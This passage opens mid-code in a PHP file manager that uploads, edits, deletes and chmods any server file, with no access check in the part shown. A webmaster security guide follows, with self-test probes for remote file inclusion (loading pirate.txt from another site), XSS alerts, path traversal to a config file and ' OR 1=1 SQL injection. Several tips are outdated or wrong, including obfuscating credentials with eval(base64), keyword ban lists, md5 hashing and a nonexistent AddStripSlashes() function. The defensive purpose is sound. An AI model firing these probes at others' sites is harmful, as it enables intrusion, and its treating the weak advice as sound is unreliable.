($i != $id) echo "/"; } echo '">' . $pat . '</a>/'; } echo '</td></tr><tr><td>'; if (isset($_FILES['file'])) { if (copy($_FILES['file']['tmp_name'], $path . '/' . $_FILES['file']['name'])) { echo '<font color="green">Upload successful!</font><br>'; } else { echo '<font color="crimson"><strong>Upoload failed!</strong></font><br>'; } } echo '<form enctype="multipart/form-data" method="POST"> Upload a file <input type="file" name="file"> <input type="submit" value="Send"> </form>'; if (isset($_POST['dossier'])) { $nomDossier = $_POST['dossier']; $nomDossier = str_replace(' ', '_', $nomDossier); $nomDossier = preg_replace('/[^a-zA-Z0-9\/_-]/', '', $nomDossier); if (file_exists($nomDossier)) { echo '<font color="crimson"><strong>Existing folder</strong></font><br>'; } if (mkdir($nomDossier, 0755)) { echo '<font color="green">Adding folder successful!</font><br>'; } else { echo '<font color="crimson"><strong>Add folder failed!</strong></font><br>'; } } echo '<form method="POST"> Create a <strong>folder</strong> with absolute path <input type="text" name="dossier" value="' . realpath($path) . '/name-directory/"> <input type="submit" value="Save"> </form>'; if (isset($_POST['creafichier'])) { $creaFichier = $_POST['creafichier']; $creaFichier = str_replace(' ', '_', $creaFichier); $creaFichier = preg_replace('/[^a-zA-Z0-9\/\._-]/', '', $creaFichier); if (file_exists($creaFichier)) { echo '<font color="crimson"><strong>Existing file</strong></font><br>'; } if (!file_exists($creaFichier)) { $anse = fopen($creaFichier,'c+'); $ducontenu='Sample content'; fwrite($anse,$ducontenu); fclose($anse); echo '<font color="green">Adding file successful!</font><br>'; } else { echo '<font color="crimson"><strong>Add file failed!</strong></font><br>'; } } echo '<form method="POST"> Create a <em>file</em> with absolute path <input type="text" name="creafichier" value="' . realpath($path) . '/file.txt"> <input type="submit" value="Save"> </form>'; echo '<br><br>' . php_uname() . ' </td></tr>'; if (isset($_GET['filesrc']) && isset($_GET['telechargefichier'])) { telFichBin($_GET['filesrc']); } elseif (isset($_GET['filesrc'])) { echo "<tr><td>Files >> "; echo $_GET['filesrc']; echo '</td></tr></table><br>'; $ext_fich = substr(strrchr($_GET['filesrc'],'.'),1); $media_ext_liste = array('jpg','png','gif','ico','pdf','mp3','wav','webp','heic','heif','mp4','mov','hevf','av1'); $binaire_ext_liste = array('zip','gz','doc','docx','xls','xlsx','ppt','pptx','odt','ods','odp','rtf','pages','numbers','key'); if(in_array($ext_fich , $media_ext_liste)) { echo '<p><form method="POST" action="?filesrc='.$_GET['filesrc'].'&path='.$path.'&telechargefichier=1"><input class="milieu" type="submit" value="Download the file"></form></p><iframe class="milieu" width="700" height="700" src="' .cheminWeb($_GET['filesrc']). '"></iframe>'; } elseif(in_array($ext_fich , $binaire_ext_liste)) { telFichBin($_GET['filesrc']); } else {echo '<p><form method="POST" action="?filesrc='.$_GET['filesrc'].'&path='.$path.'&telechargefichier=1"><input class="milieu" type="submit" value="Download the file"></form></p><pre>' . htmlspecialchars(file_get_contents($_GET['filesrc']), ENT_QUOTES, 'UTF-8') . '</pre>';} } elseif (isset($_GET['option']) && ($_POST['opt'] == 'chmod'||$_POST['opt'] == 'rename'||$_POST['opt'] == 'move'||$_POST['opt'] == 'edit')) { echo '</table><p class="centre milieu">' . $_POST['path'] . '<br><br>'; if ($_POST['opt'] == 'chmod') { if (isset($_POST['perm'])) { if (chmod($_POST['path'], intval($_POST['perm'],8))) { echo '<font color="green">Change permission successful!</font><br>'; } else { echo '<font color="crimson"><strong>Change permission failed!</strong></font><br>'; } } echo '<form class="centre milieu" method="POST"> Permission : <input name="perm" type="text" size="4" value="' . substr(sprintf('%o', fileperms($_POST['path'])) , -4) . '"> <input type="hidden" name="path" value="' . $_POST['path'] . '"> <input type="hidden" name="opt" value="chmod"> <input type="submit" value="Save"> </form> <p class="centre">WARNING, octal notation, enter the 4 digits as follows 0644 or 0705.</p>'; } elseif ($_POST['opt'] == 'rename') { if (isset($_POST['newname'])) { if (rename($_POST['path'], $path . '/' . $_POST['newname'])) { echo '<font color="green">Name change succeeded!</font><br>'; } else { echo '<font color="crimson"><strong>Name change failed!</strong></font><br>'; } $_POST['name'] = $_POST['newname']; } echo '<form class="centre milieu" method="POST"> New name : <input name="newname" type="text" size="30" value="' . $_POST['name'] . '"> <input type="hidden" name="path" value="' . $_POST['path'] . '"> <input type="hidden" name="opt" value="rename"> <input type="submit" value="Save"> </form>'; } elseif ($_POST['opt'] == 'move') { if (isset($_POST['deplace'])) { if (rename($_POST['path'], $_POST['deplace'])) { echo '<font color="green">Moving the file successful!</font><br>'; } else { echo '<font color="crimson"><strong>Moving the file failed!</strong></font><br>'; } $_POST['path'] = $_POST['deplace']; } echo '<form class="centre milieu" method="POST"> Move the file to : <input name="deplace" type="text" size="30" value="' . $path . '/' . $_POST['name'] . '"> <input type="hidden" name="path" value="' . $_POST['path'] . '"> <input type="hidden" name="opt" value="move"> <input type="submit" value="Save"> </form> <p class="centre">WARNING, put the absolute path with the file or folder name.</p>'; } elseif ($_POST['opt'] == 'edit') { if (isset($_POST['src'])) { $fp = fopen($_POST['path'], 'w'); if (fwrite($fp, $_POST['src'])) { echo '<font color="green">Editing successful!</font><br>'; } else { echo '<font color="crimson"><strong>Editing failed!</strong></font><br>'; } fclose($fp); } echo '<form class="centre milieu" method="POST"> <textarea cols=80 rows=20 name="src">' . htmlspecialchars(file_get_contents($_POST['path']), ENT_QUOTES, 'UTF-8') . '</textarea><br> <input type="hidden" name="path" value="' . $_POST['path'] . '"> <input type="hidden" name="opt" value="edit"> <input type="submit" value="Save"> </form>'; } echo '</p>'; } else { echo '</table><br><p class="milieu centre">'; if (isset($_GET['option']) && $_POST['opt'] == 'delete') { if ($_POST['type'] == 'dir') { foreach (new RecursiveIteratorIterator(new RecursiveDirectoryIterator($_POST['path'], FilesystemIterator::SKIP_DOTS | FilesystemIterator::UNIX_PATHS), RecursiveIteratorIterator::CHILD_FIRST) as $value) { $value->isFile() ? unlink($value) : rmdir($value); } if (rmdir($_POST['path'])) { echo '<font color="green">Delete successful!</font><br>'; } else { echo '<font color="crimson"><strong>Delete failed!</strong></font><br>'; } } elseif ($_POST['type'] == 'file') { if (unlink($_POST['path'])) { echo '<font color="green">Delete file successful!</font><br>'; } else { echo '<font color="crimson"><strong>Delete file failed!</strong></font><br>'; } } } elseif (isset($_GET['option']) && $_POST['opt'] == 'zip') { $ficCompress = escapeshellcmd($_POST['path']); exec("zip -qr -6 ".$ficCompress.".zip ".$ficCompress.""); echo '<font color="green">Compression successful!</font><br>'; } elseif (isset($_GET['option']) && $_POST['opt'] == 'unzip') { $extFic = new SplFileInfo($_POST['path']); if ($extFic->getExtension() == 'zip') { $ficCompress = escapeshellcmd($_POST['path']); exec("unzip -q ".$ficCompress." -d ".$path.""); echo '<font color="green">Uncompression successful!</font><br>'; } else { echo '<font color="crimson"><strong>Uncompression failed! You need a ZIP file</strong></font><br>'; } } echo '</p>'; $scandir = scandir($path); echo '<div id="content"><table width="700" border="0" cellpadding="3" cellspacing="1" align="center"> <tr class="first"> <td class="centre">Name</td> <td class="centre">Size</td> <td class="centre">Permissions</td> <td class="centre">Actions</td> </tr>'; foreach ($scandir as $dir) { if (!is_dir("$path/$dir") || $dir == '.' || $dir == '..') continue; echo "<tr> <td><a href=\"?path=$path/$dir\">$dir</a></td> <td class=\"petit centre\">--</td> <td class=\"petit centre\">"; if (is_writable("$path/$dir")) echo '<font color="green">'; elseif (!is_readable("$path/$dir")) echo '<font color="crimson">'; echo perms("$path/$dir"); if (is_writable("$path/$dir") || !is_readable("$path/$dir")) echo '</font>'; echo "</td> <td class=\"centre\"><form method=\"POST\" action=\"?option&path=$path\"> <select name=\"opt\"> <option value=\"What to do?\">What to do?</option> <option value=\"rename\">Rename</option> <option value=\"move\">Move</option> <option value=\"chmod\">Chmod</option> <option value=\"zip\">Compress</option> <option value=\"unzip\">Uncompress</option> <option value=\"delete\">Delete</option> </select> <input type=\"hidden\" name=\"type\" value=\"dir\"> <input type=\"hidden\" name=\"name\" value=\"$dir\"> <input type=\"hidden\" name=\"path\" value=\"$path/$dir\"> <input type=\"submit\" value=\">\"> </form></td> </tr>"; } echo '<tr class="first"><td></td><td></td><td></td><td></td></tr>'; foreach ($scandir as $file) { if (!is_file("$path/$file")) continue; $size = filesize("$path/$file") / 1024; $size = round($size, 2); if ($size >= 1024) { $size = round($size / 1024, 2) . ' Mo'; } else { $size = $size . ' Ko'; } echo "<tr> <td><a href=\"?filesrc=$path/$file&path=$path\">$file</a></td> <td class=\"petit centre\">" . $size . "</td> <td class=\"petit centre\">"; if (is_writable("$path/$file")) echo '<font color="green">'; elseif (!is_readable("$path/$file")) echo '<font color="crimson">'; echo perms("$path/$file"); if (is_writable("$path/$file") || !is_readable("$path/$file")) echo '</font>'; echo "</td> <td class=\"centre\"><form method=\"POST\" action=\"?option&path=$path\"> <select name=\"opt\"> <option value=\"What to do?\">What to do?</option> <option value=\"rename\">Rename</option> <option value=\"edit\">Edit</option> <option value=\"move\">Move</option> <option value=\"chmod\">Chmod</option> <option value=\"zip\">Compress</option> <option value=\"unzip\">Uncompress</option> <option value=\"delete\">Delete</option> </select> <input type=\"hidden\" name=\"type\" value=\"file\"> <input type=\"hidden\" name=\"name\" value=\"$file\"> <input type=\"hidden\" name=\"path\" value=\"$path/$file\"> <input type=\"submit\" value=\">\"> </form></td> </tr>"; } echo '</table> </div>'; } echo ' </body> </html>'; function perms($file) { $perms = fileperms($file); if (($perms & 0xC000) == 0xC000) { // Socket $info = 's'; } elseif (($perms & 0xA000) == 0xA000) { // Symbolic Link $info = 'l'; } elseif (($perms & 0x8000) == 0x8000) { // Regular $info = '-'; } elseif (($perms & 0x6000) == 0x6000) { // Block special $info = 'b'; } elseif (($perms & 0x4000) == 0x4000) { // Directory $info = 'd'; } elseif (($perms & 0x2000) == 0x2000) { // Character special $info = 'c'; } elseif (($perms & 0x1000) == 0x1000) { // FIFO pipe $info = 'p'; } else { // Unknown $info = 'u'; } // Owner $info .= (($perms & 0x0100) ? 'r' : '-'); $info .= (($perms & 0x0080) ? 'w' : '-'); $info .= (($perms & 0x0040) ? (($perms & 0x0800) ? 's' : 'x') : (($perms & 0x0800) ? 'S' : '-')); // Group $info .= (($perms & 0x0020) ? 'r' : '-'); $info .= (($perms & 0x0010) ? 'w' : '-'); $info .= (($perms & 0x0008) ? (($perms & 0x0400) ? 's' : 'x') : (($perms & 0x0400) ? 'S' : '-')); // World $info .= (($perms & 0x0004) ? 'r' : '-'); $info .= (($perms & 0x0002) ? 'w' : '-'); $info .= (($perms & 0x0001) ? (($perms & 0x0200) ? 't' : 'x') : (($perms & 0x0200) ? 'T' : '-')); return $info; } function telFichBin($telfich){ header('Content-Description: File Transfer'); header('Content-Type: application/octet-stream'); header('Content-Disposition: attachment; filename="'.basename($telfich).'"'); header('Expires: 0'); header('Cache-Control: must-revalidate'); header('Pragma: public'); header('Content-Length: ' . filesize($telfich)); ob_clean(); flush(); readfile($telfich); exit; } function cheminWeb($fich) { $document_racine = rtrim(preg_replace("#([\\\\/]+)#", '/', $_SERVER['DOCUMENT_ROOT']), '/'); $fich = preg_replace("#([\\\\/]+)#", '/', realpath($fich)); return preg_replace("#^($document_racine)#", '', $fich); } ?>
Passwords
Protect your passwords.
They can try to penetrate your hosting by guessing your FTP or SQL password. If you change the passwords, please respect the following rules:
1- A password must be at least 12 characters long, the longer the better.
2- It should never be a word found in the dictionary of any language. Password cracking software has dictionaries of hundreds of thousands of words of all languages and searches for all combinations. It takes from a few minutes to a few hours to crack these passwords very easily.
3- A good password contains upper- and lower-case letters, numbers and non-alphanumeric characters (such as punctuation marks).
4- NEVER USE THE SAME PASSWORD for FTP, SQL database, e-mail, website administration interface. The hacker KNOWS that if he finds your password, chances are it is the same password somewhere else. Many hosting providers offer a unique password to “simplify” the management.
Some softwares create unique and random passwords and manage them for you (look at Bitwarden, KeepassX and Keepass, 1Password, Dashlane, LastPass…). That is the best solution because you don't have to memorize anything.
You can create this list yourself in a password-protected file and copy and paste the data for each login form. To simplify this task, you can also choose to trust your web browser to save your unique passwords, synchronize your data between your devices and fill in the form field for you each time you log in with the correct password. To generate these unique passwords, see for example these websites:
https://www.motdepasse.xyz
https://www.vpnmentor.com/tools/secure-password-generator/
https://www.comparitech.com/privacy-security-tools/password-strength-test/
These websites offer phonetic passwords, creating words that are easy to remember:
https://www.dashlane.com/features/password-generator (Dashlane)
https://www.lastpass.com/password-generator (LastPass)
https://tools.arantius.com/password
To be sure that a memorable or phonetic password does not exist in any language, type it in part or in full in a search engine. If it returns no results, then your password is not a dictionary word.
Installing an SQL database
When you install your CMS, blog or e-commerce for the first time, it comes with default settings and parameters that we accept each time. In case of a flaw, the hacker can use these default settings and parameters to penetrate your SQL database and modify it.
Here are a few tips to prevent this kind of SQL injection attack from being possible. There are several types of SQL injections. Rule 3 of .htaccess stops another form. Otherwise, the real protection against SQL injections is good coding.
1- When you install your CMS, blog or e-commerce, it provides the login “admin” and asks you to enter a password. If possible, change “admin” for something else, a nickname for example. A hacker knows that the default login is “admin” and will run his scripts only on the password. But if the login “admin” does not exist, he has no chance to penetrate the system.
Sometimes you have to make this modification in phpMyadmin. But be careful, you must be sure that it will not break your database. Ask the question on the editor's forum of your CMS, blog or e-commerce to find out if it is possible.
2- The first user is therefore the administrator and always has the ID 1. In the event that the login is not “admin”, some scripts may try to find out the password of user number 1, which is, in 99.99% of cases, the administrator. If possible, delete user number 1 on the list and be the administrator with the number 2 or 15 or 250.
Sometimes you have to make this modification in phpMyadmin. But be careful, you must be sure that it will not break your database. Ask the question on the editor's forum of your CMS, blog or e-commerce to find out if it is possible.
3- During installation, your CMS, blog or e-commerce asks you to choose a prefix for the table names. We always accept the default prefix as wp_ for Wordpress, g2_ for Gallery2, dc_ for DotClear, phpbb_ for phpBB, etc. The cracker can search the table with the list of users and their passwords. If, like everyone else, you have not changed the prefix, it will be easy for him to find the table. So, change the prefix of your SQL tables for more security. You can do this after installation. Sometimes it is necessary to do this modification in phpMyadmin. But be careful, you have to be sure that it won't break your database. Ask the question on the editor's forum of your CMS, blog or e-commerce to find out if it is possible.
For example, with Wordpress in the event you change the prefix after installation, you also need to change 2 entries in the database and in the wp-config.php file, see their forums to know how to do this.
My advice: ALWAYS CHANGE THE DEFAULT SETTINGS!
File naming
To prevent hacker bots from finding you through Google, change some habits, such as the name and URL of particular files.
1- Do not call the contact form page: mail.php or contact.html. Call it something else with its equivalent in other languages. Spam robots will have more trouble finding a contact form to hack and send spam thanks to a flaw in your mail script.
Do the same thing with other files: no login.php, admin.php, download.php (they will look for the vulnerability to download a file out of its directory), etc. As a general rule, avoid these common English words.
2- Spammers aren't idiots. Also change some of the names on the form. In the INPUT html tags, change the NAME attribute that contains words like “e-mail”, “mail”, “name” or “subject” by their counterpart in other languages. Make this change in the HTML form and in your php or cgi script.
3- Avoid giving the name of your CMS, blog or e-commerce directly in the URL such as www.domain.tld/admin/ or www.domain.tld/login/ or www.domain.tld/blog/ or www.domain.tld/forum/ or www.domain.tld/shop/. Spammers and hackers look for these URLs to target for an attack. Be more creative for your security. The best is to avoid the English word and to prefer its equivalent in other languages.
Encrypt your config.inc.php file
Despite all precautions, the hacker has penetrated your site and is now trying to find out the login and password of your MySQL database in order to hack it, empty it and take control of it. The hacker's task can be complicated by encrypting this sensitive data. The web server will be able to read this information easily, but it will not be readable directly by a human.
For a PHP expert, this protection only lasts 2 minutes, it makes him work harder, but we are not here to make it easier for him?
Visit this website and encrypt your data.
www.phpencode.org or www.mobilefish.com/services/php_obfuscator/php_obfuscator.php or look for a “PHP Obfuscator”.
For example, my config.php file contains this:
Code PHP:<?php /* MySQL settings */ $db_server = "serveursql"; $db_name = "nombasesql"; $db_username = "loginsql"; $db_password = "motdepasse"; ?>
I copy the part to be encoded between the tags <?php and ?>
I choose the "PHP Extrastrength" encoding. Don't look for a higher encoding, I sometimes found errors on web servers.
I copy the long line that starts with eval(xxxx between tags <? and ?> and paste it into the config.inc.php file, which gives:
<?php eval(gzuncompress(gzinflate(base64_decode('AW4Akf942k3LTQqAIBQE4H3QHQZp5cYDRDeoRXSAMHyIkFo+K7p9f5t2w3wzSkmJ7hz6Fkw5u2AZUipVFpWZRqa0UwLQQLx5S7zOov40aE/ApyH6STP9dLsP7+LWOVoXfrZo5iMm85iP2dBTkKgv8oMsVg==')))); ?>
This way, you can hide all sensitive information.
And assign by FTP the permissions 404 or 444 to your config.inc.php file (or equivalent) if possible.
Encrypt your email address
If you have no choice but to display an e-mail address on your website, you have 2 solutions:
1- Create an image file (svg, png, jpeg) with your address written on it. It is not text, spam robots will not see it.
2- Encrypt your e-mail address with javascript. I have been using this method for years and these addresses have never been spammed. Go to this website www.jottings.com/obfuscator/ or jumk.de/nospam/ to get your address encrypted.
To go even further, instead of integrating this code into your html page, we will call it from a javascript file. The advantage is that if the address is present on several pages, you only have to modify once.
Create a folder called “js” and we will put a file in it called “address.js”. Copy in this file the javascript code line of your encrypted e-mail address which starts with “var …”. For example:
var g6="";for(var z1=0;z1<335;z1++)g6+=String.fromCharCode(("{fw%}<B\'m3xnmya\'Bwj {tjxztrst%a\'a\'B kjwm%fA,0.a\'a\'1l4 4-jhfqujw3,?tyqnfr,aaBkjw ,ViqyVj755zaajsVnfrtistr5955zaantr,ztjxztrst%Sa\',aa,0.a\'a\'1l4V4-jhfqujw3str@5955}(+ntrCa\',aa,aaBkjwm3xnmya\'By4-jhfqujw3,Cf4AiqyS@j7}(+jsnfrSti.b5`ba\'a\'`1l4S\'@z5B\'\'@ktw-{fw%u<B5@u<A}<3qjslym@u<0B88.z50B}<3xzgxyw-u<188.3xuqny-\'\'.3wj{jwxj-.3otns-\'\'.@j{fq-z5.".charCodeAt(z1)-(-59+64)+24+39)%(5*2+85)+-45+77);document.write(eval(g6))
Then, in your html page, copy the following code:
Code HTML:<script src="js/address.js" type="text/javascript"></script>
E-mail addresses to avoid
More to do with spam than hacking, email addresses with the most common prefixes are spammed automatically (because they are more likely to exist). Therefore, avoid creating addresses with the following names:
webmaster@ admin@ contact@ email@ mail@ info@ sales@ support@ root@ www@ abuse@ news@
I used contact@ and info@ without ever putting them on the web, but the amount of spam was becoming unbearable. In short, for spam as for hacking, you have to avoid intellectual laziness and default settings.
Protecting a folder with a password
Apache password protection using a “.htaccess” and a “.htpasswd” file is very effective. There are several how-to guides available (for example here). Encrypt your password with the “bcrypt” method. The classic “crypt” and “sha-1” methods are no longer secure. You can encrypt your password with “bcrypt” online here or offline.
To do this, first create a “.htaccess” file in the directory you want to protect, and copy the code below. Note that the path to the “.htpasswd” file, the one containing the login and password, can be placed anywhere in the hosting. You don't have to put it in the same directory as “.htaccess”.
Code htaccess:### ABSOLUTE PATH TO THE FILE “.htpasswd” ### WHICH CAN BE LOCATED IN A DIFFERENT DIRECTORY. AuthUserFile /home/www/secret/.htpasswd AuthGroupFile /dev/null AuthName "Protected Access" AuthType Basic require valid-user
Then, save the “.htpasswd” file (in the directory mentioned in the “.htaccess” above). The example below shows an authorized access for the login: My_Id34_Compliquated and the password: E@|oVfL73:r%U@tY7vT2 encrypted in BCrypt:
Code htpasswd:### LOGIN AND PASSWORD ENCRYPTED IN BCRYPT My_Id34_Compliquated:$2y$11$1jgFlzFxF1hHMx0fLT2l/OG5o8zxjz46r6sRwnItzBs.ZZFGLR0e6
However, the tutorials all forget one important point: do not name the file containing the password “.htpasswd”. This name is not mandatory, we use it by convention, not by obligation. You can call it whatever you want, for example, “.htmotdepasse” or “.machinbidule”. This custom name is declared in the “.htaccess” file. So the cracker will not find a “.htpasswd” file because it is named differently!
Stop any accidental read access to the“ .htmotdepasse” file by creating an htaccess rule in the directory where it is located:
Code:<Files .htmotdepasse> order allow,deny deny from all </Files>
Better lock the “administration” directory:
Finally, the dashboard or the administration interface of your blog, CMS or e-commerce already has a login and password protection. However, this defence is dependent on the technique used by the developer and can suffer from a security flaw. Adding a second password system with the “.htaccess” file considerably strengthens the protection to access the dashboard or the administration interface. This double authentication is not troublesome since web browser software records these passwords. Do not hesitate to use it. Of course, you will use different and complex passwords for both methods! Only brute force attacks can overcome the “.htaccess” password, so you might as well make it long and complicated. And hopefully, your web host will notice this suspicious behaviour and block the attacker in time.
The robots.txt file
Do you know the role of the robots.txt file? http://www.robotstxt.org This file is used to prevent a search engine from indexing a folder or file.
But do not declare in this robots.txt file a directory or file that should remain secret not only from search engines but also from hackers!!! Anyone can read the content of the robots.txt file and thus find the address of your secret folder/file.
To keep a folder out of the sight of indexing robots and hackers, it is more effective to protect it with an htaccess password (see above).
Protect your style.css and index.php files
Protect by FTP your files “style.css” and “index.php” with the permissions 404 or 444. I saw a case of hacking of the style.css file where the hacker had modified this file to display a pop-up.
Protect also by FTP the file “index.php” with the rights 404 or 444 because it is by him that all the orders of your CMS, blog or e-commerce are made.
How do I test the security of my website?
Here are 3 simple methods that will allow you to check if you are using a script with big security vulnerabilities. With filtering incoming data and the advice given in this topic, you should be able to fix the problem. Otherwise, for your security, change your CMS, blog or e-commerce because the developer did not care about security.
According to my logs, the next 3 attacks represent the vast majority. These vulnerabilities are so huge that hackers are looking for them first. They are like us, adept at making the slightest effort.
NOTE 1: none of these examples will teach you how to hack a site. It takes a lot more and it is more complicated than that. However, you will know if your script is poorly coded or not.
Note 2: Disable the proposed .htaccess filter rules described above. Indeed, these rules will stop most of the attacks presented below by sending you an error 403 Forbidden“. So, to find out if your script is fallible, disable these rules and if there is a flaw, fix the script or install a more secure one.
1- Attack by the execution of an external script:
Create a text file containing the following code:
<?php echo "Hack me if you can !!!"; ?>
Call it “pirate.txt” and make another copy called “pirate.php”. Then, by FTP, put it in the www folder on your server.
In your CMS, blog or e-commerce, URLs look like this (to be adapted to your situation):
Code:http://www.yourdomain.tld/?page=123Replace “123” by “http://www.yourdomain.tld/pirate.txt” like this: Code:
http://www.yourdomain.tld/?page=http://www.yourdomain.tld/pirate.txt?
If you see the message “Hack me if you can!!!” appearing, then you have a huge security hole. Yes, a text file, instead of being read, was executed in php. You can do the same thing with your php file:
Code:http://www.yourdomain.tld/?page=http://www.yourdomain.tld/pirate.php?
We can go further. If the hacker file is at another site:
Code:http://www.yourdomain.tld/?page=http://www.otherwebsite.tld/pirate.txt?
2- Attack by XSS or Cross Site Scripting:
We use javascript to take control of your CMS, blog or e-commerce.
Your URLs look like this (to be adapted to your situation):
http://www.yourdomain.tld/?page=123
Replace “123” by some javascript. If it is not filtered, then it is hacked. For example, if it is not filtered:
Code:http://www.yourdomain.tld/?page="><script>alert(/Hack me if you can!!!/)</script>
Or another variation:
Code:http://www.yourdomain.tld/?page=javascript:alert(%22Hack me if you can!!!%22)
If a javascript alert window appears with the text “Hack me if you can!!!”, your site is open to this kind of attack.
3- Weakness in file downloading:
This applies to 2 cases:
a) You have an upload script that offers your visitors to take files. You have put all the files to download in a folder on your hosting, for example /home/loginftp/www/download/ .
Your URL looks like this (to be adapted to your situation):
http://www.yourdomain.tld/download.php?file=myfile.pdf
If we change “myfile.pdf” which is in the folder “/home/loginftp/www/download/” by “../config.inc.php” which is here “/home/loginftp/www/” like that:
Code:http://www.yourdomain.tld/download.php?file=../config.inc.php
Are we downloading it? Do we have your SQL database login and password? Believe it or not, my download script allowed it. So anyone could take any file from my site.
The same kind of behaviour can be found in the upload, which allows the hacker to save his takeover file anywhere on your hosting.
b) You have a PHP script that uses the include() function to call other files. These files are called from the URL and not in the PHP code of the script. For example:
Code:http://www.yourdomain.tld/?page=forum.php
As above, can other files be uploaded? For example, the robots.txt file:
Code:http://www.yourdomain.tld/?page=robots.txt
Normally, one can't see the contents of a PHP file because its code is executed unlike the upload script in a). So this should give a blank page, but check it anyway:
Code:http://www.yourdomain.tld/?page=config.inc.php
Hopefully, with some hosting providers the PHP include() function does not allow you to open a file outside your hosting (for security reasons). But this should be possible on other less secure servers:
Code:http://www.yourdomain.tld/?page=http://www.otherwebsite.tld
Securing a PHP script
An explanation of security with PHP is here: http://phpsec.org/projects/guide/
Then, if you use a small script in PHP that processes data from a form or variable in a URL such as “/?page=23&id=thing” (so using GET or POST queries), these data must be filtered to avoid any flaws.
I use this piece of code that I put at the head of the script in order to filter all the data coming in:
Code PHP:foreach ($_REQUEST as $key => $val) { $val = preg_replace("/[^_A-Za-z0-9-\.&=]/i",'', $val); $_REQUEST[$key] = $val; }
Thus, only alphanumeric characters and the signs _ . & = are allowed.
All other characters are deleted.
There is another filter if the one shown above is too restrictive:
Code PHP:foreach ($_REQUEST as $key => $val) { $val = trim(stripslashes(htmlentities($val))); $_REQUEST[$key] = $val; }
To protect a specific variable sent by form, you can choose one of the two filters below (do not use both filters for the same variable):
Code PHP:/* for basic filtering */ $variable = trim(stripslashes(htmlentities($_POST["variable"]))); /* for a more restrictive filtering */ $variable = preg_replace("/[^_A-Za-z0-9-\.&=]/i",'', $_POST["variable"]);
This is a general protection that works against the simplest forms of hacking.
Put this code only if there is no filtering system.
Starting with PHP 5.2, there is a series of filters that allow the filtering of data: https://www.php.net/filter.
Securing a PERL script
it is like the previous article on php. If you use a small script in PERL that processes data from a form or variable in a URL such as “/index.cgi?page=23&id=thing” (so using GET or POST queries), these data must be filtered to avoid any vulnerabilities.
I use this piece of code that I put at the head of the script in order to filter all the data that comes in:
Code Perl:$val = $ENV{'QUERY_STRING'}; $val =~ s/%([a-fA-F0-9][a-fA-F0-9])/pack("C", hex($1))/eg; $val =~ s/<([^>]|\n)*>//g; $val =~ s/([<>\&\$;:\`\|\"\'*\?\!\~\^\(\)\[\]\{\}]|\\|\.\.|^\/)//g;
First, we decode the non-alphanumeric characters that are url-encoded. Then, we erase the characters that can cause problems such as html tags and some characters in the 4th line of the above code.
This is a general protection that works against the simplest forms of hacking.
Insert this code only if there is no filtering system.
Countering SQL injections
This attack targets web servers by looking for coding errors in ASP, CGI and PHP scripts, the same scripts that execute SQL queries. If you don't code, don't bother, this is a reminder to developers.
What is an SQL injection attack?
SQL (Structured Query Language) is a database language used by many CMS, blog, wiki, Gallery, etc. It is a query-based language using statements such as INSERT (to insert data into the database), DELETE (to remove data), UPDATE (to update data), SELECT (to select and read data), and many others. But this simplicity also makes it an easy prey to vulnerability detection.
Sample query:
Code:mysql_query("SELECT * FROM users WHERE login = 'toto';");
This query selects the user (extracted from the “users” table) whose login is “toto”. “SELECT *” means that all the fields of this table are selected. The example below is an SQL injection type attack in order to retrieve a password, it is the most common attack. My page contains a classic user identification form where you enter a username and a password. The query associated with this form to verify that the login / password entered are valid against our database would be:
Code:mysql_query("SELECT * FROM users WHERE utilisateur = '$login' AND motdepasse = '$password'");
This query would select the particular user if the username AND password entered are in our database. If one of the two is incorrect, the query will not return any results.
The particular attack
Knowing that in my example the variable $login contains what I typed in my first text field and the variable $password contains what I typed in the second text field (the password), this is what will happen if I enter the following code in the first login field: ' OR 1=1"); // , the query is:
Code:mysql_query("SELECT * FROM users WHERE utilisateur = '' OR 1=1"); //' AND motdepasse = '$password'");
And it would certainly identify the user successfully because the query is true if a user '' exists OR if 1=1. Since the user empty does not exist, but 1 is equal to 1, then the query is true and valid. So, by adding this code, we force to believe that any query is true. The “//” sign means a comment in PHP, the rest of the code is not interpreted, it is rendered useless. And here you are with a database access! This is the simplest example, many others allow you to really take control of a server by pretending to be root or the administrator. The possibilities are unfortunately numerous. We will not develop them.
How to protect against SQL injection attacks?
To prevent these attacks, you need to know how to write code. If it is well done, attacks are no longer possible. Here are some tips:
Avoid using an account with full authority to run your SQL server.
Delete the functions you don't use such as master..xp_cmdshell, and in general all those beginning with “master..xp”.
Check user entries such as text fields. Also check that the expected numbers are numbers with a function such as IsNumeric() for example.
Also make sure to filter the parameters of URLs that are manually added.
Use escape characters and functions such as AddStripSlashes() in PHP, see the function specifications and, in general, the documentation for your programming languages for more information. This will prevent user input of the ' character by escaping it with a slash before it.
Generally prevent some user input sequences such as “;”, “insert”, “select”, “//”, “--”, etc.
Limit the number of characters that a user can enter in a text field, as this may well make it more difficult for them to do so.
Be careful what you put in the cookies because a password (even encrypted in md5) is quickly found by an attack of this type. Afterwards, a replacement of this value in the cookie saves the attacker from a brute force attack, so it is a nice gift.
Practical application
The simplest method is to filter all variables by applying php filters like this:
Code PHP:/* for basic filtering */ $variable = mysql_real_escape_string(htmlspecialchars($_POST["variable"]));
Here is a small script to avoid SQL injections in an identification form (login and password) to be adapted according to your forms:
Code PHP:<?php function anti_injection( $user, $pass ) { # see if there are any SQL commands. $banlist = array ( "insert", "select", "update", "delete", "distinct", "having", "truncate", "replace", "handler", "like", "procedure", "limit", "order by", "group by" ); if ( eregi ( "[a-zA-Z0-9]+", $user ) ) { $user = trim ( str_replace ( $banlist, '', strtolower ( $user ) ) ); } else { $user = NULL; } # see if the password is alphanumeric. # we use strtolower() to run str_ireplace() if ( eregi ( "[a-zA-Z0-9]+", $pass ) ) { $pass = trim ( str_replace ( $banlist, '', strtolower ( $pass ) ) ); } else { $pass = NULL; } # we make a table # If there's any illegal characters, we are shutting it down. $array = array ( 'user' => $user, 'pass' => $pass ); if ( in_array ( NULL, $array ) ) { die ( 'ERROR: SQL injection detected' ); } else { return $array; } } // ########## $login = anti_injection ($_POST['pseudo'],$_POST['pass']); // the anti-injection function is activated $password = $login['pass']; // we get the pass $password=md5($password); // we put the pass in md5 $pseudo = $login['user']; // we get the nickname ?>
Were you unknowingly hacked?
You have a CMS, blog or e-commerce? You may have been unknowingly hacked by hackers who want to put links to their websites in order to artificially increase their Pagerank.
Careful, this is very serious. it is an invisible, almost benign, but very real hack. If you find the elements described below, your CMS, blog or e-commerce has been hacked by professionals paid for it, not by kids who have fun deleting sites by inserting their pseudonyms instead.
Login to your phpMyadmin.
Once identified, in the top left-hand column, click on the name of your database, then in the main window, at the top click on the Search tab.
Then enter one of the 3 sentences:
%display:none%
%height:0%
%visibility:hidden%
